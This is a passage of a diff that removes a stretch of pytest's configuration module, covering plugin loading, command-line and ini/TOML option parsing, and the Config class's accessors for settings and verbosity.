-> None: - if ( - hasattr(mod, "pytest_plugins") - and self._configured - and not self._using_pyargs - ): - msg = ( - "Defining 'pytest_plugins' in a non-top-level conftest is no longer supported:\n" - "It affects the entire test suite instead of just below the conftest as expected.\n" - " {}\n" - "Please move it to a top level conftest file at the rootdir:\n" - " {}\n" - "For more information, visit:\n" - " https://docs.pytest.org/en/stable/deprecations.html#pytest-plugins-in-non-top-level-conftest-files" - ) - fail(msg.format(conftestpath, self._confcutdir), pytrace=False) - - # - # API for bootstrapping plugin loading - # - # - - def consider_preparse( - self, args: Sequence[str], *, exclude_only: bool = False - ) -> None: - """:meta private:""" - i = 0 - n = len(args) - while i < n: - opt = args[i] - i += 1 - if isinstance(opt, str): - if opt == "-p": - try: - parg = args[i] - except IndexError: - return - i += 1 - elif opt.startswith("-p"): - parg = opt[2:] - else: - continue - parg = parg.strip() - if exclude_only and not parg.startswith("no:"): - continue - self.consider_pluginarg(parg) - - def consider_pluginarg(self, arg: str) -> None: - """:meta private:""" - if arg.startswith("no:"): - name = arg[3:] - if name in essential_plugins: - raise UsageError(f"plugin {name} cannot be disabled") - - if name.endswith("conftest.py"): - raise UsageError( - f"Blocking conftest files using -p is not supported: -p no:{name}\n" - "conftest.py files are not plugins and cannot be disabled via -p.\n" - ) - - # PR #4304: remove stepwise if cacheprovider is blocked. - if name == "cacheprovider": - self.set_blocked("stepwise") - self.set_blocked("pytest_stepwise") - - self.set_blocked(name) - if not name.startswith("pytest_"): - self.set_blocked("pytest_" + name) - else: - name = arg - # Unblock the plugin. - self.unblock(name) - if not name.startswith("pytest_"): - self.unblock("pytest_" + name) - self.import_plugin(arg, consider_entry_points=True) - - def consider_conftest( - self, conftestmodule: types.ModuleType, registration_name: str - ) -> None: - """:meta private:""" - self.register(conftestmodule, name=registration_name) - - def consider_env(self) -> None: - """:meta private:""" - self._import_plugin_specs(os.environ.get("PYTEST_PLUGINS")) - - def consider_module(self, mod: types.ModuleType) -> None: - """:meta private:""" - self._import_plugin_specs(getattr(mod, "pytest_plugins", [])) - - def _import_plugin_specs( - self, spec: None | types.ModuleType | str | Sequence[str] - ) -> None: - plugins = _get_plugin_specs_as_list(spec) - for import_spec in plugins: - self.import_plugin(import_spec) - - def import_plugin(self, modname: str, consider_entry_points: bool = False) -> None: - """Import a plugin with ``modname``. - - If ``consider_entry_points`` is True, entry point names are also - considered to find a plugin. - """ - # Most often modname refers to builtin modules, e.g. "pytester", - # "terminal" or "capture". Those plugins are registered under their - # basename for historic purposes but must be imported with the - # _pytest prefix. - assert isinstance(modname, str), ( - f"module name as text required, got {modname!r}" - ) - if self.is_blocked(modname) or self.get_plugin(modname) is not None: - return - - importspec = "_pytest." + modname if modname in builtin_plugins else modname - self.rewrite_hook.mark_rewrite(importspec) - - if consider_entry_points: - loaded = self.load_setuptools_entrypoints("pytest11", name=modname) - if loaded: - return - - try: - if sys.version_info >= (3, 11): - mod = importlib.import_module(importspec) - else: - # On Python 3.10, import_module breaks - # testing/test_config.py::test_disable_plugin_autoload. - __import__(importspec) - mod = sys.modules[importspec] - except ImportError as e: - raise ImportError( - f'Error importing plugin "{modname}": {e.args[0]}' - ).with_traceback(e.__traceback__) from e - - except Skipped as e: - self.skipped_plugins.append((modname, e.msg or "")) - else: - self.register(mod, modname) - - -def _get_plugin_specs_as_list( - specs: None | types.ModuleType | str | Sequence[str], -) -> list[str]: - """Parse a plugins specification into a list of plugin names.""" - # None means empty. - if specs is None: - return [] - # Workaround for #3899 - a submodule which happens to be called "pytest_plugins". - if isinstance(specs, types.ModuleType): - return [] - # Comma-separated list. - if isinstance(specs, str): - return specs.split(",") if specs else [] - # Direct specification. - if isinstance(specs, collections.abc.Sequence): - return list(specs) - raise UsageError( - f"Plugins may be specified as a sequence or a ','-separated string of plugin names. Got: {specs!r}" - ) - - -def _iter_rewritable_modules(package_files: Iterable[str]) -> Iterator[str]: - """Given an iterable of file names in a source distribution, return the "names" that should - be marked for assertion rewrite. - - For example the package "pytest_mock/__init__.py" should be added as "pytest_mock" in - the assertion rewrite mechanism. - - This function has to deal with dist-info based distributions and egg based distributions - (which are still very much in use for "editable" installs). - - Here are the file names as seen in a dist-info based distribution: - - pytest_mock/__init__.py - pytest_mock/_version.py - pytest_mock/plugin.py - pytest_mock.egg-info/PKG-INFO - - Here are the file names as seen in an egg based distribution: - - src/pytest_mock/__init__.py - src/pytest_mock/_version.py - src/pytest_mock/plugin.py - src/pytest_mock.egg-info/PKG-INFO - LICENSE - setup.py - - We have to take in account those two distribution flavors in order to determine which - names should be considered for assertion rewriting. - - More information: - https://github.com/pytest-dev/pytest-mock/issues/167 - """ - package_files = list(package_files) - seen_some = False - for fn in package_files: - is_simple_module = "/" not in fn and fn.endswith(".py") - is_package = fn.count("/") == 1 and fn.endswith("__init__.py") - if is_simple_module: - module_name, _ = os.path.splitext(fn) - # we ignore "setup.py" at the root of the distribution - # as well as editable installation finder modules made by setuptools - if module_name != "setup" and not module_name.startswith("__editable__"): - seen_some = True - yield module_name - elif is_package: - package_name = os.path.dirname(fn) - seen_some = True - yield package_name - - if not seen_some: - # At this point we did not find any packages or modules suitable for assertion - # rewriting, so we try again by stripping the first path component (to account for - # "src" based source trees for example). - # This approach lets us have the common case continue to be fast, as egg-distributions - # are rarer. - new_package_files = [] - for fn in package_files: - parts = fn.split("/") - new_fn = "/".join(parts[1:]) - if new_fn: - new_package_files.append(new_fn) - if new_package_files: - yield from _iter_rewritable_modules(new_package_files) - - -class _DeprecatedInicfgProxy(MutableMapping[str, Any]): - """Compatibility proxy for the deprecated Config.inicfg.""" - - __slots__ = ("_config",) - - def __init__(self, config: Config) -> None: - self._config = config - - def __getitem__(self, key: str) -> Any: - return self._config._inicfg[key].value - - def __setitem__(self, key: str, value: Any) -> None: - self._config._inicfg[key] = ConfigValue(value, origin="override", mode="toml") - - def __delitem__(self, key: str) -> None: - del self._config._inicfg[key] - - def __iter__(self) -> Iterator[str]: - return iter(self._config._inicfg) - - def __len__(self) -> int: - return len(self._config._inicfg) - - -@final -class Config: - """Access to configuration values, pluginmanager and plugin hooks. - - :param PytestPluginManager pluginmanager: - A pytest PluginManager. - - :param InvocationParams invocation_params: - Object containing parameters regarding the :func:`pytest.main` - invocation. - """ - - @final - @dataclasses.dataclass(frozen=True) - class InvocationParams: - """Holds parameters passed during :func:`pytest.main`. - - The object attributes are read-only. - - .. versionadded:: 5.1 - - .. note:: - - Note that the environment variable ``PYTEST_ADDOPTS`` and the ``addopts`` - configuration option are handled by pytest, not being included in the ``args`` attribute. - - Plugins accessing ``InvocationParams`` must be aware of that. - """ - - args: tuple[str, ...] - """The command-line arguments as passed to :func:`pytest.main`.""" - plugins: Sequence[str | _PluggyPlugin] | None - """Extra plugins, might be `None`.""" - dir: pathlib.Path - """The directory from which :func:`pytest.main` was invoked.""" - - def __init__( - self, - *, - args: Iterable[str], - plugins: Sequence[str | _PluggyPlugin] | None, - dir: pathlib.Path, - ) -> None: - object.__setattr__(self, "args", tuple(args)) - object.__setattr__(self, "plugins", plugins) - object.__setattr__(self, "dir", dir) - - class ArgsSource(enum.Enum): - """Indicates the source of the test arguments. - - .. versionadded:: 7.2 - """ - - #: Command line arguments. - ARGS = enum.auto() - #: Invocation directory. - INVOCATION_DIR = enum.auto() - INCOVATION_DIR = INVOCATION_DIR # backwards compatibility alias - #: 'testpaths' configuration value. - TESTPATHS = enum.auto() - - # Set by cacheprovider plugin. - cache: Cache - - def __init__( - self, - pluginmanager: PytestPluginManager, - *, - invocation_params: InvocationParams | None = None, - prog: str | None = None, - ) -> None: - if invocation_params is None: - invocation_params = self.InvocationParams( - args=(), plugins=None, dir=pathlib.Path.cwd() - ) - - self.option = argparse.Namespace() - """Access to command line option as attributes. - - :type: argparse.Namespace - """ - - self.invocation_params = invocation_params - """The parameters with which pytest was invoked. - - :type: InvocationParams - """ - - self._parser = Parser( - usage=f"%(prog)s [options] [{FILE_OR_DIR}] [{FILE_OR_DIR}] [...]", - processopt=self._processopt, - prog=prog, - _ispytest=True, - ) - self.pluginmanager = pluginmanager - """The plugin manager handles plugin registration and hook invocation. - - :type: PytestPluginManager - """ - - self.stash = Stash() - """A place where plugins can store information on the config for their - own use. - - :type: Stash - """ - # Deprecated alias. Was never public. Can be removed in a few releases. - self._store = self.stash - - self.trace = self.pluginmanager.trace.root.get("config") - self.hook = self.pluginmanager.hook - self._inicache: dict[str, Any] = {} - self._inicfg: ConfigDict = {} - self._cleanup_stack = contextlib.ExitStack() - self.pluginmanager.register(self, "pytestconfig") - self._configured = False - self.hook.pytest_addoption.call_historic( - kwargs=dict(parser=self._parser, pluginmanager=self.pluginmanager) - ) - self.args_source = Config.ArgsSource.ARGS - self.args: list[str] = [] - - if TYPE_CHECKING: - - @deprecated( - "config.inicfg is deprecated, use config.getini() to access configuration values instead.", - ) - @property - def inicfg(self) -> _DeprecatedInicfgProxy: - raise NotImplementedError() - else: - - @property - def inicfg(self) -> _DeprecatedInicfgProxy: - warnings.warn( - _pytest.deprecated.CONFIG_INICFG, - stacklevel=2, - ) - return _DeprecatedInicfgProxy(self) - - @property - def rootpath(self) -> pathlib.Path: - """The path to the :ref:`rootdir `. - - .. versionadded:: 6.1 - """ - return self._rootpath - - @property - def inipath(self) -> pathlib.Path | None: - """The path to the :ref:`configfile `. - - .. versionadded:: 6.1 - """ - return self._inipath - - def add_cleanup(self, func: Callable[[], None]) -> None: - """Add a function to be called when the config object gets out of - use (usually coinciding with pytest_unconfigure). - """ - self._cleanup_stack.callback(func) - - def _do_configure(self) -> None: - assert not self._configured - self._configured = True - self.hook.pytest_configure.call_historic(kwargs=dict(config=self)) - - def _ensure_unconfigure(self) -> None: - try: - if self._configured: - self._configured = False - try: - self.hook.pytest_unconfigure(config=self) - finally: - self.hook.pytest_configure._call_history = [] - finally: - try: - self._cleanup_stack.close() - finally: - self._cleanup_stack = contextlib.ExitStack() - - def get_terminal_writer(self) -> TerminalWriter: - terminalreporter: TerminalReporter | None = self.pluginmanager.get_plugin( - "terminalreporter" - ) - assert terminalreporter is not None - return terminalreporter._tw - - def pytest_cmdline_parse( - self, pluginmanager: PytestPluginManager, args: list[str] - ) -> Config: - try: - self.parse(args) - except UsageError: - # Handle `--version --version` and `--help` here in a minimal fashion. - # This gets done via helpconfig normally, but its - # pytest_cmdline_main is not called in case of errors. - if getattr(self.option, "version", False) or "--version" in args: - from _pytest.helpconfig import show_version_verbose - - # Note that `--version` (single argument) is handled early by `Config.main()`, so the only - # way we are reaching this point is via `--version --version`. - show_version_verbose(self) - elif ( - getattr(self.option, "help", False) or "--help" in args or "-h" in args - ): - self._parser.optparser.print_help() - sys.stdout.write( - "\nNOTE: displaying only minimal help due to UsageError.\n\n" - ) - - raise - - return self - - def notify_exception( - self, - excinfo: ExceptionInfo[BaseException], - option: argparse.Namespace | None = None, - ) -> None: - if option and getattr(option, "fulltrace", False): - style: TracebackStyle = "long" - else: - style = "native" - excrepr = excinfo.getrepr( - funcargs=True, showlocals=getattr(option, "showlocals", False), style=style - ) - res = self.hook.pytest_internalerror(excrepr=excrepr, excinfo=excinfo) - if not any(res): - for line in str(excrepr).split("\n"): - sys.stderr.write(f"INTERNALERROR> {line}\n") - sys.stderr.flush() - - def cwd_relative_nodeid(self, nodeid: str) -> str: - # nodeid's are relative to the rootpath, compute relative to cwd. - if self.invocation_params.dir != self.rootpath: - base_path_part, *nodeid_part = nodeid.split("::") - # Only process path part - fullpath = self.rootpath / base_path_part - relative_path = bestrelpath(self.invocation_params.dir, fullpath) - - nodeid = "::".join([relative_path, *nodeid_part]) - return nodeid - - @classmethod - def fromdictargs(cls, option_dict: Mapping[str, Any], args: list[str]) -> Config: - """Constructor usable for subprocesses.""" - config = get_config(args) - config.option.__dict__.update(option_dict) - config.parse(args, addopts=False) - for x in config.option.plugins: - config.pluginmanager.consider_pluginarg(x) - return config - - def _processopt(self, opt: Argument) -> None: - if not hasattr(self.option, opt.dest): - setattr(self.option, opt.dest, opt.default) - - @hookimpl(trylast=True) - def pytest_load_initial_conftests(self, early_config: Config) -> None: - # We haven't fully parsed the command line arguments yet, so - # early_config.args it not set yet. But we need it for - # discovering the initial conftests. So "pre-run" the logic here. - # It will be done for real in `parse()`. - args, _args_source = early_config._decide_args( - args=early_config.known_args_namespace.file_or_dir, - pyargs=early_config.known_args_namespace.pyargs, - testpaths=early_config.getini("testpaths"), - invocation_dir=early_config.invocation_params.dir, - rootpath=early_config.rootpath, - warn=False, - ) - self.pluginmanager._set_initial_conftests( - args=args, - pyargs=early_config.known_args_namespace.pyargs, - noconftest=early_config.known_args_namespace.noconftest, - rootpath=early_config.rootpath, - confcutdir=early_config.known_args_namespace.confcutdir, - invocation_dir=early_config.invocation_params.dir, - importmode=early_config.known_args_namespace.importmode, - consider_namespace_packages=early_config.getini( - "consider_namespace_packages" - ), - ) - - def _consider_importhook(self) -> None: - """Install the PEP 302 import hook if using assertion rewriting. - - Needs to parse the --assert= option from the commandline - and find all the installed plugins to mark them for rewriting - by the importhook. - """ - mode = getattr(self.known_args_namespace, "assertmode", "plain") - - disable_autoload = getattr( - self.known_args_namespace, "disable_plugin_autoload", False - ) or bool(os.environ.get("PYTEST_DISABLE_PLUGIN_AUTOLOAD")) - if mode == "rewrite": - import _pytest.assertion - - try: - hook = _pytest.assertion.install_importhook(self) - except SystemError: - mode = "plain" - else: - self._mark_plugins_for_rewrite(hook, disable_autoload) - self._warn_about_missing_assertion(mode) - - def _mark_plugins_for_rewrite( - self, hook: AssertionRewritingHook, disable_autoload: bool - ) -> None: - """Given an importhook, mark for rewrite any top-level - modules or packages in the distribution package for - all pytest plugins.""" - self.pluginmanager.rewrite_hook = hook - - if disable_autoload: - # We don't autoload from distribution package entry points, - # no need to continue. - return - - package_files = ( - str(file) - for dist in importlib.metadata.distributions() - if any(ep.group == "pytest11" for ep in dist.entry_points) - for file in dist.files or [] - ) - - for name in _iter_rewritable_modules(package_files): - hook.mark_rewrite(name) - - def _configure_python_path(self) -> None: - # `pythonpath = a b` will set `sys.path` to `[a, b, x, y, z, ...]` - for path in reversed(self.getini("pythonpath")): - sys.path.insert(0, str(path)) - self.add_cleanup(self._unconfigure_python_path) - - def _unconfigure_python_path(self) -> None: - for path in self.getini("pythonpath"): - path_str = str(path) - if path_str in sys.path: - sys.path.remove(path_str) - - def _validate_args(self, args: list[str], via: str) -> list[str]: - """Validate known args.""" - self._parser.extra_info["config source"] = via - try: - self._parser.parse_known_and_unknown_args( - args, namespace=copy.copy(self.option) - ) - finally: - self._parser.extra_info.pop("config source", None) - - return args - - def _decide_args( - self, - *, - args: list[str], - pyargs: bool, - testpaths: list[str], - invocation_dir: pathlib.Path, - rootpath: pathlib.Path, - warn: bool, - ) -> tuple[list[str], ArgsSource]: - """Decide the args (initial paths/nodeids) to use given the relevant inputs. - - :param warn: Whether can issue warnings. - - :returns: The args and the args source. Guaranteed to be non-empty. - """ - if args: - source = Config.ArgsSource.ARGS - result = args - else: - if invocation_dir == rootpath: - source = Config.ArgsSource.TESTPATHS - if pyargs: - result = testpaths - else: - result = [] - for path in testpaths: - result.extend(sorted(glob.iglob(path, recursive=True))) - if testpaths and not result: - if warn: - warning_text = ( - "No files were found in testpaths; " - "consider removing or adjusting your testpaths configuration. " - "Searching recursively from the current directory instead." - ) - self.issue_config_time_warning( - PytestConfigWarning(warning_text), stacklevel=3 - ) - else: - result = [] - if not result: - source = Config.ArgsSource.INVOCATION_DIR - result = [str(invocation_dir)] - return result, source - - @hookimpl(wrapper=True) - def pytest_collection(self) -> Generator[None, object, object]: - # Validate invalid configuration keys after collection is done so we - # take in account options added by late-loading conftest files. - try: - return (yield) - finally: - self._validate_config_options() - - def _checkversion(self) -> None: - import pytest - - minver = self.getini("minversion") - if minver: - # Imported lazily to improve start-up time. - from packaging.version import Version - - if Version(minver) > Version(pytest.__version__): - raise pytest.UsageError( - f"{self.inipath}: 'minversion' requires pytest-{minver}, actual pytest-{pytest.__version__}'" - ) - - def _validate_config_options(self) -> None: - for key in sorted(self._get_unknown_ini_keys()): - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - - def _validate_plugins(self) -> None: - required_plugins = sorted(self.getini("required_plugins")) - if not required_plugins: - return - - # Imported lazily to improve start-up time. - from packaging.requirements import InvalidRequirement - from packaging.requirements import Requirement - from packaging.version import Version - - plugin_info = self.pluginmanager.list_plugin_distinfo() - plugin_dist_info = {dist.project_name: dist.version for _, dist in plugin_info} - - missing_plugins = [] - for required_plugin in required_plugins: - try: - req = Requirement(required_plugin) - except InvalidRequirement: - missing_plugins.append(required_plugin) - continue - - if req.name not in plugin_dist_info: - missing_plugins.append(required_plugin) - elif not req.specifier.contains( - Version(plugin_dist_info[req.name]), prereleases=True - ): - missing_plugins.append(required_plugin) - - if missing_plugins: - raise UsageError( - "Missing required plugins: {}".format(", ".join(missing_plugins)), - ) - - def _warn_or_fail_if_strict(self, message: str) -> None: - strict_config = self.getini("strict_config") - if strict_config is None: - strict_config = self.getini("strict") - if strict_config: - raise UsageError(message) - - self.issue_config_time_warning(PytestConfigWarning(message), stacklevel=3) - - def _get_unknown_ini_keys(self) -> set[str]: - known_keys = self._parser._inidict.keys() | self._parser._ini_aliases.keys() - return self._inicfg.keys() - known_keys - - def parse(self, args: list[str], addopts: bool = True) -> None: - # Parse given cmdline arguments into this config object. - assert self.args == [], ( - "can only parse cmdline args at most once per Config object" - ) - - self.hook.pytest_addhooks.call_historic( - kwargs=dict(pluginmanager=self.pluginmanager) - ) - - if addopts: - env_addopts = os.environ.get("PYTEST_ADDOPTS", "") - if len(env_addopts): - args[:] = ( - self._validate_args(shlex.split(env_addopts), "via PYTEST_ADDOPTS") - + args - ) - - # At this point, self.option contains only defaults from the _processopt - # callback. - ns = self._parser.parse_known_args(args, namespace=copy.copy(self.option)) - rootpath, inipath, inicfg, ignored_config_files = determine_setup( - inifile=ns.inifilename, - override_ini=ns.override_ini, - args=ns.file_or_dir, - rootdir_cmd_arg=ns.rootdir or None, - invocation_dir=self.invocation_params.dir, - ) - self._rootpath = rootpath - self._inipath = inipath - self._ignored_config_files = ignored_config_files - self._inicfg = inicfg - self._parser.extra_info["rootdir"] = str(self.rootpath) - self._parser.extra_info["inifile"] = str(self.inipath) - - self._parser.addini("addopts", "Extra command line options", "args") - self._parser.addini("minversion", "Minimally required pytest version") - self._parser.addini( - "pythonpath", type="paths", help="Add paths to sys.path", default=[] - ) - self._parser.addini( - "required_plugins", - "Plugins that must be present for pytest to run", - type="args", - default=[], - ) - - if addopts: - args[:] = ( - self._validate_args(self.getini("addopts"), "via addopts config") + args - ) - - self.known_args_namespace = self._parser.parse_known_args( - args, namespace=copy.copy(self.option) - ) - if addopts: - # addopts may have added overrides (especially via OverrideIniAction). - # The thing can be endlessly circular but we only do one level (#14442). - if overrides := parse_override_ini(self.known_args_namespace.override_ini): - self._inicfg.update(overrides) - self._inicache.clear() - self._checkversion() - self._consider_importhook() - self._configure_python_path() - self.pluginmanager.consider_preparse(args, exclude_only=False) - if ( - not os.environ.get("PYTEST_DISABLE_PLUGIN_AUTOLOAD") - and not self.known_args_namespace.disable_plugin_autoload - ): - # Autoloading from distribution package entry point has - # not been disabled. - self.pluginmanager.load_setuptools_entrypoints("pytest11") - # Otherwise only plugins explicitly specified in PYTEST_PLUGINS - # are going to be loaded. - self.pluginmanager.consider_env() - - # Parse again, now including options added in pytest_addoption - # by third-party plugins loaded above. This way they're available - # on early_config in the pytest_load_initial_conftests hook call below. - self.known_args_namespace = self._parser.parse_known_args( - args, namespace=copy.copy(self.option) - ) - - self._validate_plugins() - self._warn_about_skipped_plugins() - - if self.known_args_namespace.confcutdir is None: - if self.inipath is not None: - confcutdir = str(self.inipath.parent) - else: - confcutdir = str(self.rootpath) - self.known_args_namespace.confcutdir = confcutdir - try: - self.hook.pytest_load_initial_conftests( - early_config=self, args=args, parser=self._parser - ) - except ConftestImportFailure as e: - if self.known_args_namespace.help or self.known_args_namespace.version: - # we don't want to prevent --help/--version to work - # so just let it pass and print a warning at the end - self.issue_config_time_warning( - PytestConfigWarning(f"could not load initial conftests: {e.path}"), - stacklevel=2, - ) - else: - raise - - try: - self._parser.parse(args, namespace=self.option) - except PrintHelp: - return - - self.args, self.args_source = self._decide_args( - args=getattr(self.option, FILE_OR_DIR), - pyargs=self.option.pyargs, - testpaths=self.getini("testpaths"), - invocation_dir=self.invocation_params.dir, - rootpath=self.rootpath, - warn=True, - ) - - def issue_config_time_warning(self, warning: Warning, stacklevel: int) -> None: - """Issue and handle a warning during the "configure" stage. - - During ``pytest_configure`` we can't capture warnings using the ``catch_warnings_for_item`` - function because it is not possible to have hook wrappers around ``pytest_configure``. - - This function is mainly intended for plugins that need to issue warnings during - ``pytest_configure`` (or similar stages). - - :param warning: The warning instance. - :param stacklevel: stacklevel forwarded to warnings.warn. - """ - if self.pluginmanager.is_blocked("warnings"): - return - - cmdline_filters = self.known_args_namespace.pythonwarnings or [] - config_filters = self.getini("filterwarnings") - - with warnings.catch_warnings(record=True) as records: - warnings.simplefilter("always", type(warning)) - apply_warning_filters(config_filters, cmdline_filters) - warnings.warn(warning, stacklevel=stacklevel) - - if records: - frame = sys._getframe(stacklevel - 1) - location = frame.f_code.co_filename, frame.f_lineno, frame.f_code.co_name - self.hook.pytest_warning_recorded.call_historic( - kwargs=dict( - warning_message=records[0], - when="config", - nodeid="", - location=location, - ) - ) - - def addinivalue_line(self, name: str, line: str) -> None: - """Add a line to a configuration option. The option must have been - declared but might not yet be set in which case the line becomes - the first line in its value.""" - x = self.getini(name) - assert isinstance(x, list) - x.append(line) # modifies the cached list inline - - def getini(self, name: str) -> Any: - """Return configuration value the an :ref:`configuration file `. - - If a configuration value is not defined in a - :ref:`configuration file `, then the ``default`` value - provided while registering the configuration through - :func:`parser.addini ` will be returned. - Please note that you can even provide ``None`` as a valid - default value. - - If ``default`` is not provided while registering using - :func:`parser.addini `, then a default value - based on the ``type`` parameter passed to - :func:`parser.addini ` will be returned. - The default values based on ``type`` are: - ``paths``, ``pathlist``, ``args`` and ``linelist`` : empty list ``[]`` - ``bool`` : ``False`` - ``string`` : empty string ``""`` - ``int`` : ``0`` - ``float`` : ``0.0`` - - If neither the ``default`` nor the ``type`` parameter is passed - while registering the configuration through - :func:`parser.addini `, then the configuration - is treated as a string and a default empty string '' is returned. - - If the specified name hasn't been registered through a prior - :func:`parser.addini ` call (usually from a - plugin), a ValueError is raised. - """ - canonical_name = self._parser._ini_aliases.get(name, name) - try: - return self._inicache[canonical_name] - except KeyError: - pass - self._inicache[canonical_name] = val = self._getini(canonical_name) - return val - - # Meant for easy monkeypatching by legacypath plugin. - # Can be inlined back (with no cover removed) once legacypath is gone. - def _getini_unknown_type(self, name: str, type: str, value: object): - msg = ( - f"Option {name} has unknown configuration type {type} with value {value!r}" - ) - raise ValueError(msg) # pragma: no cover - - def _getini(self, name: str): - # If this is an alias, resolve to canonical name. - canonical_name = self._parser._ini_aliases.get(name, name) - - try: - _description, type, default = self._parser._inidict[canonical_name] - except KeyError as e: - raise ValueError(f"unknown configuration value: {name!r}") from e - - # Collect all possible values (canonical name + aliases) from _inicfg. - # Each candidate is (ConfigValue, is_canonical). - candidates = [] - if canonical_name in self._inicfg: - candidates.append((self._inicfg[canonical_name], True)) - for alias, target in self._parser._ini_aliases.items(): - if target == canonical_name and alias in self._inicfg: - candidates.append((self._inicfg[alias], False)) - - if not candidates: - return default - - # Pick the best candidate based on precedence: - # 1. CLI override takes precedence over file, then - # 2. Canonical name takes precedence over alias. - selected = max(candidates, key=lambda x: (x[0].origin == "override", x[1]))[0] - value = selected.value - mode = selected.mode - - if mode == "ini": - # In ini mode, values are always str | list[str]. - assert isinstance(value, (str, list)) - return self._getini_ini(name, canonical_name, type, value, default) - elif mode == "toml": - return self._getini_toml(name, canonical_name, type, value, default) - else: - assert_never(mode) - - def _getini_ini( - self, - name: str, - canonical_name: str, - type: str, - value: str | list[str], - default: Any, - ): - """Handle config values read in INI mode. - - In INI mode, values are stored as str or list[str] only, and coerced - from string based on the registered type. - """ - # Note: some coercions are only required if we are reading from .ini - # files, because the file format doesn't contain type information, but - # when reading from toml (in ini mode) we will get either str or list of - # str values (see load_config_dict_from_file). For example: - # - # ini: - # a_line_list = "tests acceptance" - # - # in this case, we need to split the string to obtain a list of strings. - # - # toml (ini mode): - # a_line_list = ["tests", "acceptance"] - # - # in this case, we already have a list ready to use. - if type == "paths": - dp = ( - self.inipath.parent - if self.inipath is not None - else self.invocation_params.dir - ) - input_values = shlex.split(value) if isinstance(value, str) else value - return [dp / x for x in input_values] - elif type == "args": - return shlex.split(value) if isinstance(value, str) else value - elif type == "linelist": - if isinstance(value, str): - return [t for t in map(lambda x: x.strip(), value.split("\n")) if t] - else: - return value - elif type == "bool": - return _strtobool(str(value).strip()) - elif type == "string": - return value - elif type == "int": - if not isinstance(value, str): - raise TypeError( - f"Expected an int string for option {name} of type integer, but got: {value!r}" - ) from None - return int(value) - elif type == "float": - if not isinstance(value, str): - raise TypeError( - f"Expected a float string for option {name} of type float, but got: {value!r}" - ) from None - return float(value) - else: - return self._getini_unknown_type(name, type, value) - - def _getini_toml( - self, - name: str, - canonical_name: str, - type: str, - value: object, - default: Any, - ): - """Handle TOML config values with strict type validation and no coercion. - - In TOML mode, values already have native types from TOML parsing. - We validate types match expectations exactly, including list items. - """ - value_type = builtins.type(value).__name__ - if type == "paths": - # Expect a list of strings. - if not isinstance(value, list): - raise TypeError( - f"{self.inipath}: config option '{name}' expects a list for type 'paths', " - f"got {value_type}: {value!r}" - ) - for i, item in enumerate(value): - if not isinstance(item, str): - item_type = builtins.type(item).__name__ - raise TypeError( - f"{self.inipath}: config option '{name}' expects a list of strings, " - f"but item at index {i} is {item_type}: {item!r}" - ) - dp = ( - self.inipath.parent - if self.inipath is not None - else self.invocation_params.dir - ) - return [dp / x for x in value] - elif type in {"args", "linelist"}: - # Expect a list of strings. - if not isinstance(value, list): - raise TypeError( - f"{self.inipath}: config option '{name}' expects a list for type '{type}', " - f"got {value_type}: {value!r}" - ) - for i, item in enumerate(value): - if not isinstance(item, str): - item_type = builtins.type(item).__name__ - raise TypeError( - f"{self.inipath}: config option '{name}' expects a list of strings, " - f"but item at index {i} is {item_type}: {item!r}" - ) - return list(value) - elif type == "bool": - # Expect a boolean. - if not isinstance(value, bool): - raise TypeError( - f"{self.inipath}: config option '{name}' expects a bool, " - f"got {value_type}: {value!r}" - ) - return value - elif type == "int": - # Expect an integer (but not bool, which is a subclass of int). - if not isinstance(value, int) or isinstance(value, bool): - raise TypeError( - f"{self.inipath}: config option '{name}' expects an int, " - f"got {value_type}: {value!r}" - ) - return value - elif type == "float": - # Expect a float or integer only. - if not isinstance(value, (float, int)) or isinstance(value, bool): - raise TypeError( - f"{self.inipath}: config option '{name}' expects a float, " - f"got {value_type}: {value!r}" - ) - return value - elif type == "string": - # Expect a string. - if not isinstance(value, str): - raise TypeError( - f"{self.inipath}: config option '{name}' expects a string, " - f"got {value_type}: {value!r}" - ) - return value - else: - return self._getini_unknown_type(name, type, value) - - def _getconftest_pathlist( - self, name: str, path: pathlib.Path - ) -> list[pathlib.Path] | None: - try: - mod, relroots = self.pluginmanager._rget_with_confmod(name, path) - except KeyError: - return None - assert mod.__file__ is not None - modpath = pathlib.Path(mod.__file__).parent - values: list[pathlib.Path] = [] - for relroot in relroots: - if isinstance(relroot, os.PathLike): - relroot = pathlib.Path(relroot) - else: - relroot = relroot.replace("/", os.sep) - relroot = absolutepath(modpath / relroot) - values.append(relroot) - return values - - def getoption(self, name: str, default: Any = NOTSET, skip: bool = False): - """Return command line option value. - - :param name: Name of the option. You may also specify - the literal ``--OPT`` option instead of the "dest" option name. - :param default: Fallback value if no option of that name is **declared** via :hook:`pytest_addoption`. - Note this parameter will be ignored when the option is **declared** even if the option's value is ``None``. - :param skip: If ``True``, raise :func:`pytest.skip` if option is undeclared or has a ``None`` value. - Note that even if ``True``, if a default was specified it will be returned instead of a skip. - """ - name = self._parser._opt2dest.get(name, name) - try: - val = getattr(self.option, name) - if val is None and skip: - raise AttributeError(name) - return val - except AttributeError as e: - if default is not NOTSET: - return default - if skip: - import pytest - - pytest.skip(f"no {name!r} option found") - raise ValueError(f"no option named {name!r}") from e - - def getvalue(self, name: str, path=None): - """Deprecated, use getoption() instead.""" - return self.getoption(name) - - def getvalueorskip(self, name: str, path=None): - """Deprecated, use getoption(skip=True) instead.""" - return self.getoption(name, skip=True) - - #: Verbosity type for failed assertions (see :confval:`verbosity_assertions`). - VERBOSITY_ASSERTIONS: Final = "assertions" - #: Verbosity type for test case execution (see :confval:`verbosity_test_cases`). - VERBOSITY_TEST_CASES: Final = "test_cases" - #: Verbosity type for failed subtests (see :confval:`verbosity_subtests`). - VERBOSITY_SUBTESTS: Final = "subtests" - - _VERBOSITY_INI_DEFAULT: Final = "auto" - - def get_verbosity(self, verbosity_type: str | None = None) -> int: - r"""Retrieve the verbosity level for a fine-grained verbosity type. - - :param verbosity_type: Verbosity type to get level for. If a level is - configured for the given type, that value will be returned. If the - given type is not a known verbosity type, the global verbosity - level will be returned. If the given type is None (default), the - global verbosity level will be returned. - - To configure a level for a fine-grained verbosity type, the - configuration file should have a setting for the configuration name - and a numeric value for the verbosity level. A special value of "auto" - can be used to explicitly use the global verbosity level. - - Example: - - .. tab:: toml - - .. code-block:: toml - - [tool.pytest] - verbosity_assertions = 2 - - .. tab:: ini - - .. code-block:: ini - - [pytest] - verbosity_assertions = 2 - - .. code-block:: console - - pytest -v - - .. code-block:: python - - print(config.get_verbosity()) # 1 - print(config.get_verbosity(Config.VERBOSITY_ASSERTIONS)) # 2 - """ - global_level = self.getoption("verbose", default=0) - assert 